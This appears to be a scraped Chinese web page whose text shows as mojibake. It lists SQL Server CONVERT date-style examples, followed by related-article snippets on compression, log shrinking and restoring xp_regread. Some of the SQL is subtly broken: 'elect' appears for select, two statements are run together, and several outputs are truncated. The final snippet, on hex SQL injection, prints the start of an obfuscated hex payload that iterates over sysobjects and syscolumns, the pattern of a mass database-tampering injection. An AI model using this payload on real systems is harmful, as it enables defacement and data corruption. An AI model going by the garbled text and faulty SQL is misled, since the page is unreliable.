Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

sql ÈÕÆÚת»»

Select  
CONVERT(varchar, getdate(), 1),--mm/dd/yy  
CONVERT(varchar, getdate(), 2),--yy.mm.dd  
CONVERT(varchar, getdate(), 3),--dd/mm/yy  
CONVERT(varchar, getdate(), 4),--dd.mm.yy  
CONVERT(varchar, getdate(), 5),--dd-mm-yy  
CONVERT(varchar, getdate(), 10),--mm-dd-yy  
CONVERT(varchar, getdate(), 11),--yy/mm/dd  
CONVERT(varchar, getdate(), 12),--yymmdd 
 ----´øÊÀ¼ÍºÅ 
select convert(varchar(10),getdate(),100) --06 15 2007 »ò0 
select convert(varchar(10),getdate(),102) --2007.06.15 
select convert(varchar(10),getdate(),103) --15/06/2007 
select convert(varchar(10),getdate(),104) --15.06.2007 
select convert(varchar(10),getdate(),105) --15-06-2007 
select convert(varchar(10),getdate(),106) --15 06 2007 
select convert(varchar(10),getdate(),107) --06-15,200 
select convert(varchar(10),getdate(),108) --10:06:46 µ±Ç°Ê±¼ä 
select convert(varchar(10),getdate(),109) --06 15 2007 »òÕß9 
select convert(varchar(10),getdate(),110) --06-15-2007 
select convert(varchar(10),getdate(),111) --2007/06/15 
select convert(varchar(10),getdate(),112) --20070615select convert(varchar(10),getdate(),113) --15 06 2007 »òÕß13 
select convert(varchar(10),getdate(),114) --10:10:37:0 
select convert(varchar(10),getdate(),120) --2007-06-15 »ò20 
select convert(varchar(30),getdate(),121) --2007-06-15 10:11:45.040 »ò21 
select convert(varchar(30),getdate(),126) --2007-06-15T10:12:44:603s 
elect convert(varchar(50),getdate(),127) --2007-06-15T10:14:35:433 ˵´øÊ±Çø 
select convert(varchar(40),getdate(),130) --»ØÀúdd mon yyyy hh:mi:ss:mmmAM 
select convert(varchar(30),getdate(),131) --30/05/1428 10:17:19:470AM
12Сʱת»»³É24Сʱ
select dateadd(hh,24,getdate())
xml Êý¾ÝµÄת»»
convert(datetime, x.item.value('SaleCEOCheckDate[1]','DateTime'),120) AS SaleCEOCheckDate,


Ïà¹ØÎĵµ£º

SQL SERVER 2008 ±Ê¼ÇÖ®ÐÐѹËõºÍҳѹËõ

 
/*
    2008 ѹËõ
 
 
    ÐÐѹËõ
   
    SQL SERVER 2008 Òý½øÁËÐÐѹËõÕâ¸öÐÂÌØÐÔ,Ö»ÓÐÆóÒµ°æ¾ßÓиÃÐÂÌØÐÔ.ÐÐѹËõÖ»ÐèÒª×îµÍµÄ¿Õ¼ä¶ÔÐÐÊý¾Ý½øÐÐѹËõ.ÐÐѹËõ¿ÉÒÔÔÚCREATEÒ»¸ö±í,Ë÷Òý»òÕßALTERÒ»¸ö±í,Ë÷ÒýµÄʱºò½øÐд´½¨.ѹËõ¿ÉÒÔÔÚ ......

SQL Server ѹËõÈÕÖ¾¿Õ¼ä

ʹÓÃÁËÒ»¶Îʱ¼äºó£¬SQL Server µÄ LDFÎļþÌå»ý¾Þ´ó.
ÈçºÎ´¦ÀíàÏ, ¶ÔÓÚ SQL Server 2005 ¼°Ö®Ç°µÄ°æ±¾£¬¿ÉÒÔʹÓÃÈçÏ SQL£º
declare @name varchar(50)
set @name='dbname
'
backup
log @name
with truncate_only
dbcc shrinkdatabase (@name,20)
¿ÉÊÇÔÚ SQL Server 2008 ¿ªÊ¼£¬Ö´ÐÐÉÏÃæµÄÓï¾ä»á±¨´í:
'truncate ......

sql ×óÁ¬½Ó ½âÊÍ

Á¬½Ó²éѯ£¬¾ÍÊǽ«
Á½¸ö»ò¶à¸ö
±í»òÊÓͼ
ͨ¹ýÒ»¶¨µÄÌõ¼þ
½«È«²¿»ò²¿·Ý×Ö¶Î
È«²¿»ò²¿·Ý¼Ç¼
Á¬½Óµ½Ò»Æð£¬µÃµ½Ò»¸öеÄÊý¾Ý¼¯ºÏ¡£
È磺ÓÐÈËÔ±µµ°¸ºÍ¹¤×ʵµ°¸Á½¸ö±í£¬Á½¸ö±íÓй²Í¬µÄ¹Ø¼ü×Ö¶ÎXMDM(ÐÕÃû´úÂ룩£¬ÆäÖÐÈËÔ±µµ°¸´æ´¢ÁËÈËÊÂ×ÊÁÏ£¬¹¤×ʵµ°¸´æ´¢ÁËн³ê×ÊÁÏ¡£
Òò´Ë¿ÉÒÔͨ¹ýXMDM×ֶν«Á½¸ö±íÁ¬½ÓÆðÀ´£¬´Ó¶øÊ¹²éѯ½ ......

sql»Ö¸´xp_regread

sql»Ö¸´xp_regread
ɾ³ýµôxp_regreadºó£¬·¢ÏÖÒÔǰµÄ×÷Òµ²»Äܲ鿴£¬Ö»ÄÜÈ¥»Ö¸´ÁË¡£
exec sp_addextendedproc 'Xp_dirtree','xpstar.dll'    »Ö¸´ºó·¢ÏÖ²»ÄÜʹÓÃ
ÕÒµ½dbcc addextendedproc ("Xp_regread","xpstar.dll") »¹ÊDz»ÄÜʹÓÃ
ºóÀ´²Å·¢ÏÖ»Ö¸´µÄʱºòÒªÓÃСдdbcc addextended ......

16½øÖÆ SQL×¢Èë

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ